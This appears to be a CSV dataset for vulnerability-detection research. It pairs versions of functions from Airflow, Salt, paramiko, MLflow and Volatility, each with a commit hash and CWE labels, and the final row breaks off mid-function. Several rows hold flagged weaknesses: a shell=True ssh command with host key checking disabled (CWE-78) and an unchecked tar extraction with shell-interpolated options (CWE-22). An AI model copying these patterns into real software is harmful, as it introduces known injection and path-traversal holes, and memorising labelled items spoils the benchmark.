,UNKNOWN,UNKNOWN,providers/src/airflow/providers/cncf/kubernetes/executors/kubernetes_executor.py,1,"def clear_not_launched_queued_tasks(self, session: Session = NEW_SESSION) -> None:
        """"""
        Clear tasks that were not yet launched, but were previously queued.

        Tasks can end up in a ""Queued"" state when a rescheduled/deferred operator
        comes back up for execution (with the same try_number) before the
        pod of its previous incarnation has been fully removed (we think).

        It's also possible when an executor abruptly shuts down (leaving a non-empty
        task_queue on that executor), but that scenario is handled via normal adoption.

        This method checks each of our queued tasks to see if the corresponding pod
        is around, and if not, and there's no matching entry in our own
        task_queue, marks it for re-execution.
        """"""
        if TYPE_CHECKING:
            assert self.kube_client
        from airflow.models.taskinstance import TaskInstance

        hybrid_executor_enabled = hasattr(TaskInstance, ""executor"")
        default_executor = None
        if hybrid_executor_enabled:
            from airflow.executors.executor_loader import ExecutorLoader

            default_executor = str(ExecutorLoader.get_default_executor_name())
            default_executor = default_executor.strip("":"")

        with Stats.timer(""kubernetes_executor.clear_not_launched_queued_tasks.duration""):
            self.log.debug(""Clearing tasks that have not been launched"")
            query = select(TaskInstance).where(
                TaskInstance.state == TaskInstanceState.QUEUED,
                TaskInstance.queued_by_job_id == self.job_id,
            )
            if self.kubernetes_queue:
                query = query.where(TaskInstance.queue == self.kubernetes_queue)
            elif hybrid_executor_enabled and default_executor == KUBERNETES_EXECUTOR:
                query = query.where(
                    or_(
                        TaskInstance.executor == KUBERNETES_EXECUTOR,
                        TaskInstance.executor.is_(None),
                    ),
                )
            elif hybrid_executor_enabled:
                query = query.where(TaskInstance.executor == KUBERNETES_EXECUTOR)
            queued_tis: list[TaskInstance] = session.scalars(query).all()
            self.log.info(""Found %s queued task instances"", len(queued_tis))

            # Go through the ""last seen"" dictionary and clean out old entries
            allowed_age = self.kube_config.worker_pods_queued_check_interval * 3
            for key, timestamp in list(self.last_handled.items()):
                if time.time() - timestamp > allowed_age:
                    del self.last_handled[key]

            if not queued_tis:
                return

            pod_combined_search_str_to_pod_map = self.get_pod_combined_search_str_to_pod_map()

            for ti in queued_tis:
                self.log.debug(""Checking task instance %s"", ti)

                # Check to see if we've handled it ourselves recently
                if ti.key in self.last_handled:
                    continue

                # Build the pod selector
                base_selector = f""dag_id={ti.dag_id},task_id={ti.task_id}""
                if ti.map_index >= 0:
                    # Old tasks _couldn't_ be mapped, so we don't have to worry about compat
                    base_selector += f"",map_index={ti.map_index}""

                search_str = f""{base_selector},run_id={ti.run_id}""
                if search_str in pod_combined_search_str_to_pod_map:
                    continue
                self.log.info(""TaskInstance: %s found in queued state but was not launched, rescheduling"", ti)
                session.execute(
                    update(TaskInstance)
                    .where(
                        TaskInstance.dag_id == ti.dag_id,
                        TaskInstance.task_id == ti.task_id,
                        TaskInstance.run_id == ti.run_id,
                        TaskInstance.map_index == ti.map_index,
                    )
                    .values(state=TaskInstanceState.SCHEDULED)
                )","CWE-89, CWE-703",apache/airflow,8e2e1fa9f031edf1249e7d030d59536f74a497cd,"def clear_not_launched_queued_tasks(self, session: Session = NEW_SESSION) -> None:
        """"""
        Clear tasks that were not yet launched, but were previously queued.

        Tasks can end up in a ""Queued"" state when a rescheduled/deferred operator
        comes back up for execution (with the same try_number) before the
        pod of its previous incarnation has been fully removed (we think).

        It's also possible when an executor abruptly shuts down (leaving a non-empty
        task_queue on that executor), but that scenario is handled via normal adoption.

        This method checks each of our queued tasks to see if the corresponding pod
        is around, and if not, and there's no matching entry in our own
        task_queue, marks it for re-execution.
        """"""
        if TYPE_CHECKING:
            assert self.kube_client
        from airflow.models.taskinstance import TaskInstance

        hybrid_executor_enabled = hasattr(TaskInstance, ""executor"")
        default_executor = None
        if hybrid_executor_enabled:
            from airflow.executors.executor_loader import ExecutorLoader

            default_executor = str(ExecutorLoader.get_default_executor_name())

        with Stats.timer(""kubernetes_executor.clear_not_launched_queued_tasks.duration""):
            self.log.debug(""Clearing tasks that have not been launched"")
            query = select(TaskInstance).where(
                TaskInstance.state == TaskInstanceState.QUEUED,
                TaskInstance.queued_by_job_id == self.job_id,
            )
            if self.kubernetes_queue:
                query = query.where(TaskInstance.queue == self.kubernetes_queue)
            elif hybrid_executor_enabled and default_executor == KUBERNETES_EXECUTOR:
                query = query.where(
                    or_(
                        TaskInstance.executor == KUBERNETES_EXECUTOR,
                        TaskInstance.executor.is_(None),
                    ),
                )
            elif hybrid_executor_enabled:
                query = query.where(TaskInstance.executor == KUBERNETES_EXECUTOR)
            queued_tis: list[TaskInstance] = session.scalars(query).all()
            self.log.info(""Found %s queued task instances"", len(queued_tis))

            # Go through the ""last seen"" dictionary and clean out old entries
            allowed_age = self.kube_config.worker_pods_queued_check_interval * 3
            for key, timestamp in list(self.last_handled.items()):
                if time.time() - timestamp > allowed_age:
                    del self.last_handled[key]

            if not queued_tis:
                return

            pod_combined_search_str_to_pod_map = self.get_pod_combined_search_str_to_pod_map()

            for ti in queued_tis:
                self.log.debug(""Checking task instance %s"", ti)

                # Check to see if we've handled it ourselves recently
                if ti.key in self.last_handled:
                    continue

                # Build the pod selector
                base_selector = f""dag_id={ti.dag_id},task_id={ti.task_id}""
                if ti.map_index >= 0:
                    # Old tasks _couldn't_ be mapped, so we don't have to worry about compat
                    base_selector += f"",map_index={ti.map_index}""

                search_str = f""{base_selector},run_id={ti.run_id}""
                if search_str in pod_combined_search_str_to_pod_map:
                    continue
                self.log.info(""TaskInstance: %s found in queued state but was not launched, rescheduling"", ti)
                session.execute(
                    update(TaskInstance)
                    .where(
                        TaskInstance.dag_id == ti.dag_id,
                        TaskInstance.task_id == ti.task_id,
                        TaskInstance.run_id == ti.run_id,
                        TaskInstance.map_index == ti.map_index,
                    )
                    .values(state=TaskInstanceState.SCHEDULED)
                )"
,UNKNOWN,UNKNOWN,saltcloud/clouds/EC2.py,1,"def create(vm_):
    '''
    Create a single vm from a data dict
    '''
    print('Creating Cloud VM {0}'.format(vm_['name']))
    conn = get_conn()
    kwargs = {'ssh_username': 'ec2-user',
              'ssh_key': __opts__['EC2.private_key']}
    kwargs['name'] = vm_['name']
    kwargs['deploy'] = script(vm_)
    kwargs['image'] = get_image(conn, vm_)
    kwargs['size'] = get_size(conn, vm_)
    ex_keyname = keyname(vm_)
    if ex_keyname:
        kwargs['ex_keyname'] = ex_keyname
    ex_securitygroup = securitygroup(vm_)
    if ex_securitygroup:
        kwargs['ex_securitygroup'] = ex_securitygroup
    try:
        data = conn.deploy_node(**kwargs)
    except Exception as exc:
        err = ('The following exception was thrown by libcloud when trying to '
               'run the initial deployment: \n{0}\n\nThe vm {1} has been '
               'created but Salt could not be intsalled. Please verify that '
               'your ssh keys are in order and that the security group is '
               'accepting inbound connections from port 22.\n').format(
                       exc, vm_['name']
                       )
        sys.stderr.write(err)
        return False
    cmd = ('ssh -oStrictHostKeyChecking=no -t -i {0} {1}@{2} ""sudo '
           '/home/ec2-user/deployment.sh""').format(
                   __opts__['EC2.private_key'],
                   'ec2-user',
                   data.public_ips[0]
                   )
    subprocess.call(cmd, shell=True)
    print('Created Cloud VM {0} with the following values:'.format(
        vm_['name']
        ))
    for key, val in data.__dict__.items():
        print('  {0}: {1}'.format(key, val))",CWE-78,saltstack/salt,f7c149d21b503cf231547e272aa0b4e627355f59,"def create(vm_):
    '''
    Create a single vm from a data dict
    '''
    print('Creating Cloud VM {0}'.format(vm_['name']))
    conn = get_conn()
    kwargs = {'ssh_username': 'ec2-user',
              'ssh_key': __opts__['EC2.private_key']}
    kwargs['name'] = vm_['name']
    kwargs['deploy'] = script(vm_)
    kwargs['image'] = get_image(conn, vm_)
    kwargs['size'] = get_size(conn, vm_)
    ex_keyname = keyname(vm_)
    if ex_keyname:
        kwargs['ex_keyname'] = ex_keyname
    ex_securitygroup = securitygroup(vm_)
    if ex_securitygroup:
        kwargs['ex_securitygroup'] = ex_securitygroup
    try:
        data = conn.deploy_node(**kwargs)
    except Exception as exc:
        err = ('The following exception was thrown by libcloud when trying to '
               'run the initial deployment: {0}, the vm {1} has been created '
               'but Salt could not be intsalled. Please verify that your ssh '
               'keys are in order and that the security group is accepting '
               'inbound connections from port 22.\n').format(exc, vm_['name'])
        sys.stderr.write(err)
        return False
    cmd = ('ssh -oStrictHostKeyChecking=no -t -i {0} {1}@{2} ""sudo '
           '/home/ec2-user/deployment.sh""').format(
                   __opts__['EC2.private_key'],
                   'ec2-user',
                   data.public_ips[0]
                   )
    subprocess.call(cmd, shell=True)
    print('Created Cloud VM {0} with the following values:'.format(
        vm_['name']
        ))
    for key, val in data.__dict__.items():
        print('  {0}: {1}'.format(key, val))"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/config.py,0,"def parse(self, file_obj):
        """"""
        Read an OpenSSH config from the given file object.

        :param file_obj: a file-like object to read the config file from
        """"""
        host = {""host"": ['*'], ""config"": {}}
        for line in file_obj:
            line = line.rstrip('\r\n').lstrip()
            if not line or line.startswith('#'):
                continue
            if '=' in line:
                # Ensure ProxyCommand gets properly split
                if line.lower().strip().startswith('proxycommand'):
                    match = proxy_re.match(line)
                    key, value = match.group(1).lower(), match.group(2)
                else:
                    key, value = line.split('=', 1)
                    key = key.strip().lower()
            else:
                # find first whitespace, and split there
                i = 0
                while (i < len(line)) and not line[i].isspace():
                    i += 1
                if i == len(line):
                    raise Exception('Unparsable line: %r' % line)
                key = line[:i].lower()
                value = line[i:].lstrip()

            if key == 'host':
                self._config.append(host)
                value = value.split()
                host = {key: value, 'config': {}}
            #identityfile, localforward, remoteforward keys are special cases, since they are allowed to be
            # specified multiple times and they should be tried in order
            # of specification.

            elif key in ['identityfile', 'localforward', 'remoteforward']:
                if key in host['config']:
                    host['config'][key].append(value)
                else:
                    host['config'][key] = [value]
            elif key not in host['config']:
                host['config'][key] = value
        self._config.append(host)",,paramiko/paramiko,e73dc7751bb2ad360308f43918f6bd62aefbb085,"def parse(self, file_obj):
        """"""
        Read an OpenSSH config from the given file object.

        :param file file_obj: a file-like object to read the config file from
        """"""
        host = {""host"": ['*'], ""config"": {}}
        for line in file_obj:
            line = line.rstrip('\r\n').lstrip()
            if not line or line.startswith('#'):
                continue
            if '=' in line:
                # Ensure ProxyCommand gets properly split
                if line.lower().strip().startswith('proxycommand'):
                    match = proxy_re.match(line)
                    key, value = match.group(1).lower(), match.group(2)
                else:
                    key, value = line.split('=', 1)
                    key = key.strip().lower()
            else:
                # find first whitespace, and split there
                i = 0
                while (i < len(line)) and not line[i].isspace():
                    i += 1
                if i == len(line):
                    raise Exception('Unparsable line: %r' % line)
                key = line[:i].lower()
                value = line[i:].lstrip()

            if key == 'host':
                self._config.append(host)
                value = value.split()
                host = {key: value, 'config': {}}
            #identityfile, localforward, remoteforward keys are special cases, since they are allowed to be
            # specified multiple times and they should be tried in order
            # of specification.

            elif key in ['identityfile', 'localforward', 'remoteforward']:
                if key in host['config']:
                    host['config'][key].append(value)
                else:
                    host['config'][key] = [value]
            elif key not in host['config']:
                host['config'][key] = value
        self._config.append(host)"
,UNKNOWN,UNKNOWN,tests/pytests/unit/utils/scheduler/test_eval.py,1,"def test_eval_multiple_whens(schedule):
    """"""
    verify that scheduled job runs
    """"""

    job_name = ""test_eval_multiple_whens""
    job = {
        ""schedule"": {
            job_name: {
                ""function"": ""test.ping"",
                ""when"": [""11/29/2017 4:00pm"", ""11/29/2017 5:00pm""],
            }
        }
    }
    if salt.utils.platform.is_darwin():
        job[""schedule""][job_name][""dry_run""] = True

    run_time1 = dateutil.parser.parse(""11/29/2017 4:00pm"")
    run_time2 = dateutil.parser.parse(""11/29/2017 5:00pm"")

    # Add the job to the scheduler
    schedule.opts.update(job)

    # Evaluate run time1
    schedule.eval(now=run_time1)

    # Give the job a chance to finish
    time.sleep(5)

    ret = schedule.job_status(job_name)

    assert ret[""_last_run""] == run_time1

    # Evaluate run time2
    schedule.eval(now=run_time2)

    # Give the job a chance to finish
    time.sleep(5)

    ret = schedule.job_status(job_name)

    assert ret[""_last_run""] == run_time2","CWE-94, CWE-703",saltstack/salt,1cf25d99bf0ed38ad232b0a26aba751ed8f07111,"def test_eval_multiple_whens(schedule):
    """"""
    verify that scheduled job runs
    """"""

    job_name = ""test_eval_multiple_whens""
    job = {
        ""schedule"": {
            job_name: {
                ""function"": ""test.ping"",
                ""when"": [""11/29/2017 4:00pm"", ""11/29/2017 5:00pm""],
            }
        }
    }
    if salt.utils.platform.is_darwin():
        job[""schedule""][job_name][""dry_run""] = True

    run_time1 = dateutil.parser.parse(""11/29/2017 4:00pm"")
    run_time2 = dateutil.parser.parse(""11/29/2017 5:00pm"")

    # Add the job to the scheduler
    schedule.opts.update(job)

    # Evaluate run time1
    schedule.eval(now=run_time1)

    ret = schedule.job_status(job_name)

    # Give the job a chance to finish
    time.sleep(5)

    assert ret[""_last_run""] == run_time1

    # Evaluate run time2
    schedule.eval(now=run_time2)
    ret = schedule.job_status(job_name)

    # Give the job a chance to finish
    time.sleep(5)

    assert ret[""_last_run""] == run_time2"
,UNKNOWN,UNKNOWN,examples/hyperparam/search_hyperopt.py,1,"def eval(params):
            """"""
            Train Keras model with given parameters by invoking MLflow run.

            Notice we store runUuid and resulting metric in a file. We will later use these to pick
            the best run and to log the runUuids of the child runs as an artifact. This is a
            temporary workaround until MLflow offers better mechanism of linking runs together.

            :param params: Parameters to the train_keras script we optimize over:
                          learning_rate, drop_out_1
            :return: The metric value evaluated on the validation data.
            """"""
            import mlflow.tracking
            lr, momentum = params
            with mlflow.start_run(nested=True) as child_run:
                p = mlflow.projects.run(
                    uri=""."",
                    entry_point=""train"",
                    run_id=child_run.info.run_id,
                    parameters={
                        ""training_data"": training_data,
                        ""epochs"": str(nepochs),
                        ""learning_rate"": str(lr),
                        ""momentum"": str(momentum),
                        ""seed"": seed},
                    experiment_id=experiment_id,
                    use_conda=False,  # We are already in the environment
                    synchronous=False  # Allow the run to fail if a model is not properly created
                )
                succeeded = p.wait()
            if succeeded:
                training_run = tracking_client.get_run(p.run_id)
                metrics = training_run.data.metrics
                # cap the loss at the loss of the null model
                train_loss = min(null_train_loss,
                                 metrics[""train_{}"".format(metric)])
                valid_loss = min(null_valid_loss,
                                 metrics[""val_{}"".format(metric)])
                test_loss = min(null_test_loss,
                                metrics[""test_{}"".format(metric)])
            else:
                # run failed => return null loss
                tracking_client.set_terminated(p.run_id, ""FAILED"")
                train_loss = null_train_loss
                valid_loss = null_valid_loss
                test_loss = null_test_loss

            mlflow.log_metrics({
                ""train_{}"".format(metric): train_loss,
                ""val_{}"".format(metric):  valid_loss,
                ""test_{}"".format(metric): test_loss
            })

            if return_all:
                return train_loss, valid_loss, test_loss
            else:
                return valid_loss",CWE-94,mlflow/mlflow,a2eb995fba5b42ebe294e905f69ab1c52ebf9918,"def eval(params):
            """"""
            Train Keras model with given parameters by invoking MLflow run.

            Notice we store runUuid and resulting metric in a file. We will later use these to pick
            the best run and to log the runUuids of the child runs as an artifact. This is a
            temporary workaround until MLflow offers better mechanism of linking runs together.

            :param params: Parameters to the train_keras script we optimize over:
                          learning_rate, drop_out_1
            :return: The metric value evaluated on the validation data.
            """"""
            import mlflow.tracking
            lr, momentum = params
            with mlflow.start_run(nested=True) as child_run:
                p = mlflow.projects.run(
                    uri=""."",
                    entry_point=""train"",
                    run_id=child_run.info.run_id,
                    parameters={
                        ""training_data"": training_data,
                        ""epochs"": str(nepochs),
                        ""learning_rate"": str(lr),
                        ""momentum"": str(momentum),
                        ""seed"": seed},
                    experiment_id=experiment_id,
                    use_conda=False  # We are already in the environment
                )
                succeded = p.wait()
            if succeded:
                training_run = tracking_client.get_run(p.run_id)
                metrics = training_run.data.metrics
                # cap the loss at the loss of the null model
                train_loss = min(null_train_loss,
                                 metrics[""train_{}"".format(metric)])
                valid_loss = min(null_valid_loss,
                                 metrics[""val_{}"".format(metric)])
                test_loss = min(null_test_loss,
                                metrics[""test_{}"".format(metric)])
            else:
                # run failed => return null loss
                tracking_client.set_terminated(p.run_id, ""FAILED"")
                train_loss = null_train_loss
                valid_loss = null_valid_loss
                test_loss = null_test_loss

            mlflow.log_metrics({
                ""train_{}"".format(metric): train_loss,
                ""val_{}"".format(metric):  valid_loss,
                ""test_{}"".format(metric): test_loss
            })

            if return_all:
                return train_loss, valid_loss, test_loss
            else:
                return valid_loss"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/malware/callbacks.py,0,"def calculate(self):
        # All scanners will share a kernel and physical space 
        self.kern_space = utils.load_as(self._config)
        self.phys_space = utils.load_as(self._config, astype = 'physical')

        # We currently dont support x64
        if not self.is_valid_profile(self.kern_space.profile):
            debug.error(""This command does not support the selected profile."")

        # Get the OS version we're analyzing
        version = (self.kern_space.profile.metadata.get('major', 0),
                   self.kern_space.profile.metadata.get('minor', 0))

        modlist = list(modules.lsmod(self.kern_space))
        mods = dict((self.kern_space.address_mask(mod.DllBase), mod) for mod in modlist)
        mod_addrs = sorted(mods.keys())

        # First few routines are valid on all OS versions 
        for info in self.get_fs_callbacks():
            yield info, mods, mod_addrs

        for info in self.get_bugcheck_callbacks():
            yield info, mods, mod_addrs

        for info in self.get_shutdown_callbacks():
            yield info, mods, mod_addrs

        for info in self.get_generic_callbacks():
            yield info, mods, mod_addrs

        for info in self.get_bugcheck_reason_callbacks(modlist[0]):
            yield info, mods, mod_addrs

        for info in self.get_kernel_callbacks(modlist[0]):
            yield info, mods, mod_addrs

        # Valid for Vista and later
        if version >= (6, 0):
            for info in self.get_dbgprint_callbacks():
                yield info, mods, mod_addrs

            for info in self.get_registry_callbacks():
                yield info, mods, mod_addrs

            for info in self.get_pnp_callbacks():
                yield info, mods, mod_addrs

        # Valid for XP 
        if version == (5, 1):
            for info in self.get_registry_callbacks_legacy(modlist[0]):
                yield info, mods, mod_addrs",,volatilityfoundation/volatility,f606ffd282fd57a8e82be898c0d184ae0bee3383,"def calculate(self):
        # All scanners will share a kernel and physical space 
        self.kern_space = utils.load_as(self._config)
        self.phys_space = utils.load_as(self._config, astype = 'physical')

        # We currently dont support x64
        if not self.is_valid_profile(self.kern_space.profile):
            debug.error(""This command does not support the selected profile."")

        # Get the OS version we're analyzing
        version = (self.kern_space.profile.metadata.get('major', 0),
                   self.kern_space.profile.metadata.get('minor', 0))

        modlist = list(modules.lsmod(self.kern_space))
        mods = dict((mod.DllBase, mod) for mod in modlist)
        mod_addrs = sorted(mods.keys())

        # First few routines are valid on all OS versions 
        for info in self.get_fs_callbacks():
            yield info, mods, mod_addrs

        for info in self.get_bugcheck_callbacks():
            yield info, mods, mod_addrs

        for info in self.get_shutdown_callbacks():
            yield info, mods, mod_addrs

        for info in self.get_generic_callbacks():
            yield info, mods, mod_addrs

        for info in self.get_bugcheck_reason_callbacks(modlist[0]):
            yield info, mods, mod_addrs

        for info in self.get_kernel_callbacks(modlist[0]):
            yield info, mods, mod_addrs

        # Valid for Vista and later
        if version >= (6, 0):
            for info in self.get_dbgprint_callbacks():
                yield info, mods, mod_addrs

            for info in self.get_registry_callbacks():
                yield info, mods, mod_addrs

            for info in self.get_pnp_callbacks():
                yield info, mods, mod_addrs

        # Valid for XP 
        if version == (5, 1):
            for info in self.get_registry_callbacks_legacy(modlist[0]):
                yield info, mods, mod_addrs"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/airbyte/hooks/airbyte.py,0,"def wait_for_job(self, job_id: str | int, wait_seconds: float = 3, timeout: float | None = 3600) -> None:
        """"""
        Poll a job to check if it finishes.

        :param job_id: Required. Id of the Airbyte job
        :param wait_seconds: Optional. Number of seconds between checks.
        :param timeout: Optional. How many seconds wait for job to be ready.
            Used only if ``asynchronous`` is False.
        """"""
        state = None
        start = time.monotonic()
        while True:
            if timeout and start + timeout < time.monotonic():
                self.cancel_job(job_id=(int(job_id)))
                raise AirflowException(f""Timeout: Airbyte job {job_id} is not ready after {timeout}s"")
            time.sleep(wait_seconds)
            try:
                job = self.get_job(job_id=(int(job_id)))
                if self.api_type == ""config"":
                    state = job.json()[""job""][""status""]
                else:
                    state = job.json()[""status""]
            except AirflowException as err:
                self.log.info(""Retrying. Airbyte API returned server error when waiting for job: %s"", err)
                continue

            if state in (self.RUNNING, self.PENDING, self.INCOMPLETE):
                continue
            if state == self.SUCCEEDED:
                break
            if state == self.ERROR:
                raise AirflowException(f""Job failed:\n{job}"")
            elif state == self.CANCELLED:
                raise AirflowException(f""Job was cancelled:\n{job}"")
            else:
                raise AirflowException(f""Encountered unexpected state `{state}` for job_id `{job_id}`"")",CWE-Unknown,apache/airflow,153370310ed2c4b0687cd350ca8014c802f20045,"def wait_for_job(self, job_id: str | int, wait_seconds: float = 3, timeout: float | None = 3600) -> None:
        """"""
        Poll a job to check if it finishes.

        :param job_id: Required. Id of the Airbyte job
        :param wait_seconds: Optional. Number of seconds between checks.
        :param timeout: Optional. How many seconds wait for job to be ready.
            Used only if ``asynchronous`` is False.
        """"""
        state = None
        start = time.monotonic()
        while True:
            if timeout and start + timeout < time.monotonic():
                self.cancel_job(job_id=(int(job_id)))
                raise AirflowException(f""Timeout: Airbyte job {job_id} is not ready after {timeout}s"")
            time.sleep(wait_seconds)
            try:
                job = self.get_job(job_id=(int(job_id)))
                if self.api_type == ""config"":
                    state = job.json()[""job""][""status""]
                else:
                    state = job.json()[""status""]
            except AirflowException as err:
                self.log.info(""Retrying. Airbyte API returned server error when waiting for job: %s"", err)
                continue

            if state in (self.RUNNING, self.PENDING, self.INCOMPLETE):
                continue
            if state == self.SUCCEEDED:
                break
            if state == self.ERROR:
                raise AirflowException(f""Job failed:\n{job}"")
            elif state == self.CANCELLED:
                raise AirflowException(f""Job was cancelled:\n{job}"")
            else:
                raise Exception(f""Encountered unexpected state `{state}` for job_id `{job_id}`"")"
,UNKNOWN,UNKNOWN,salt/states/archive.py,1,"def extracted(name,
              source,
              archive_format,
              tar_options=None,
              source_hash=None,
              if_missing=None,
              keep=False):
    '''
    .. versionadded:: 2014.1.0

    State that make sure an archive is extracted in a directory.
    The downloaded archive is erased if successfully extracted.
    The archive is downloaded only if necessary.

    .. note::

        If ``if_missing`` is not defined, this state will check for ``name``
        instead.  If ``name`` exists, it will assume the archive was previously
        extracted successfully and will not extract it again.

    .. code-block:: yaml

        graylog2-server:
          archive:
            - extracted
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - tar_options: J
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    .. code-block:: yaml

        graylog2-server:
          archive:
            - extracted
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    name
        Directory name where to extract the archive

    source
        Archive source, same syntax as file.managed source argument.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings.
        It uses the same syntax as the file.managed source_hash argument.

    archive_format
        tar, zip or rar

    if_missing
        Some archives, such as tar, extract themselves in a subfolder.
        This directive can be used to validate if the archive had been
        previously extracted.

    tar_options
        Required if used with ``archive_format: tar``, otherwise optional.
        It needs to be the tar argument specific to the archive being extracted,
        such as 'J' for LZMA or 'v' to verbosely list files processed.
        Using this option means that the tar executable on the target will
        be used, which is less platform independent.
        Main operators like -x, --extract, --get, -c, etc. and -f/--file are
        **shoult not be used** here.
        If this option is not set, then the Python tarfile module is used.
        The tarfile module supports gzip and bz2 in Python 2.

    keep
        Keep the archive in the minion's cache
    '''
    ret = {'name': name, 'result': None, 'changes': {}, 'comment': ''}
    valid_archives = ('tar', 'rar', 'zip')

    if archive_format not in valid_archives:
        ret['result'] = False
        ret['comment'] = '{0} is not supported, valids: {1}'.format(
            name, ','.join(valid_archives))
        return ret

    if if_missing is None:
        if_missing = name
    if (
        __salt__['file.directory_exists'](if_missing)
        or __salt__['file.file_exists'](if_missing)
    ):
        ret['result'] = True
        ret['comment'] = '{0} already exists'.format(if_missing)
        return ret

    log.debug('Input seem valid so far')
    filename = os.path.join(__opts__['cachedir'],
                            '{0}.{1}'.format(if_missing.replace('/', '_'),
                                             archive_format))
    if not os.path.exists(filename):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would have been downloaded in cache'.format(source)
            return ret

        log.debug('Archive file {0} is not in cache, download it'.format(source))
        data = {
            filename: {
                'file': [
                    'managed',
                    {'name': filename},
                    {'source': source},
                    {'source_hash': source_hash},
                    {'makedirs': True},
                    {'saltenv': __env__}
                ]
            }
        }
        file_result = __salt__['state.high'](data)
        log.debug('file.managed: {0}'.format(file_result))
        # get value of first key
        file_result = file_result[file_result.keys()[0]]
        if not file_result['result']:
            log.debug('failed to download {0}'.format(source))
            return file_result
    else:
        log.debug('Archive file {0} is already in cache'.format(name))

    if __opts__['test']:
        ret['result'] = None
        ret['comment'] = 'Archive {0} would have been extracted in {1}'.format(
            source, name)
        return ret

    __salt__['file.makedirs'](name)

    if archive_format in ('zip', 'rar'):
        log.debug('Extract {0} in {1}'.format(filename, name))
        files = __salt__['archive.un{0}'.format(archive_format)](filename,
                                                                 name)
    else:
        if tar_options is None:
            with closing(tarfile.open(filename, 'r')) as tar:
                files = tar.getnames()
                tar.extractall(name)
        else:
            log.debug('Untar {0} in {1}'.format(filename, name))

            results = __salt__['cmd.run_all']('tar {0} -f {1!r}'.format(
                tar_options, filename), cwd=name)
            if results['retcode'] != 0:
                ret['result'] = False
                ret['changes'] = results
                return ret
            if __salt__['cmd.retcode']('tar --version | grep bsdtar') == 0:
                files = results['stderr']
            else:
                files = results['stdout']
            if not files:
                files = 'no tar output so far'
    if len(files) > 0:
        ret['result'] = True
        ret['changes']['directories_created'] = [name]
        if if_missing != name:
            ret['changes']['directories_created'].append(if_missing)
        ret['changes']['extracted_files'] = files
        ret['comment'] = '{0} extracted in {1}'.format(source, name)
        if not keep:
            os.unlink(filename)
    else:
        __salt__['file.remove'](if_missing)
        ret['result'] = False
        ret['comment'] = 'Can\'t extract content of {0}'.format(source)
    return ret",CWE-22,saltstack/salt,ac27fb7ff00793c7d46b2693e1ef0dda947d60b6,"def extracted(name,
              source,
              archive_format,
              tar_options=None,
              source_hash=None,
              if_missing=None,
              keep=False):
    '''
    .. versionadded:: 2014.1.0

    State that make sure an archive is extracted in a directory.
    The downloaded archive is erased if successfully extracted.
    The archive is downloaded only if necessary.

    .. note::

        If ``if_missing`` is not defined, this state will check for ``name``
        instead.  If ``name`` exists, it will assume the archive was previously
        extracted successfully and will not extract it again.

    .. code-block:: yaml

        graylog2-server:
          archive:
            - extracted
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - tar_options: J
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    .. code-block:: yaml

        graylog2-server:
          archive:
            - extracted
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    name
        Directory name where to extract the archive

    source
        Archive source, same syntax as file.managed source argument.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings.
        It uses the same syntax as the file.managed source_hash argument.

    archive_format
        tar, zip or rar

    if_missing
        Some archives, such as tar, extract themselves in a subfolder.
        This directive can be used to validate if the archive had been
        previously extracted.

    tar_options
        Only used for tar format, it need to be the tar argument specific to
        this archive, such as 'J' for LZMA.
        Using this option means that the tar executable on the target will
        be used, which is less platform independent.
        Main operators like -x, --extract, --get, -c, etc. and -f/--file are
        **shoult not be used** here.
        If this option is not set, then the Python tarfile module is used.
        The tarfile module supports gzip and bz2 in Python 2.

    keep
        Keep the archive in the minion's cache
    '''
    ret = {'name': name, 'result': None, 'changes': {}, 'comment': ''}
    valid_archives = ('tar', 'rar', 'zip')

    if archive_format not in valid_archives:
        ret['result'] = False
        ret['comment'] = '{0} is not supported, valids: {1}'.format(
            name, ','.join(valid_archives))
        return ret

    if if_missing is None:
        if_missing = name
    if (
        __salt__['file.directory_exists'](if_missing)
        or __salt__['file.file_exists'](if_missing)
    ):
        ret['result'] = True
        ret['comment'] = '{0} already exists'.format(if_missing)
        return ret

    log.debug('Input seem valid so far')
    filename = os.path.join(__opts__['cachedir'],
                            '{0}.{1}'.format(if_missing.replace('/', '_'),
                                             archive_format))
    if not os.path.exists(filename):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would have been downloaded in cache'.format(source)
            return ret

        log.debug('Archive file {0} is not in cache, download it'.format(source))
        data = {
            filename: {
                'file': [
                    'managed',
                    {'name': filename},
                    {'source': source},
                    {'source_hash': source_hash},
                    {'makedirs': True},
                    {'saltenv': __env__}
                ]
            }
        }
        file_result = __salt__['state.high'](data)
        log.debug('file.managed: {0}'.format(file_result))
        # get value of first key
        file_result = file_result[file_result.keys()[0]]
        if not file_result['result']:
            log.debug('failed to download {0}'.format(source))
            return file_result
    else:
        log.debug('Archive file {0} is already in cache'.format(name))

    if __opts__['test']:
        ret['result'] = None
        ret['comment'] = 'Archive {0} would have been extracted in {1}'.format(
            source, name)
        return ret

    __salt__['file.makedirs'](name)

    if archive_format in ('zip', 'rar'):
        log.debug('Extract {0} in {1}'.format(filename, name))
        files = __salt__['archive.un{0}'.format(archive_format)](filename,
                                                                 name)
    else:
        if tar_options is None:
            with closing(tarfile.open(filename, 'r')) as tar:
                files = tar.getnames()
                tar.extractall(name)
        else:
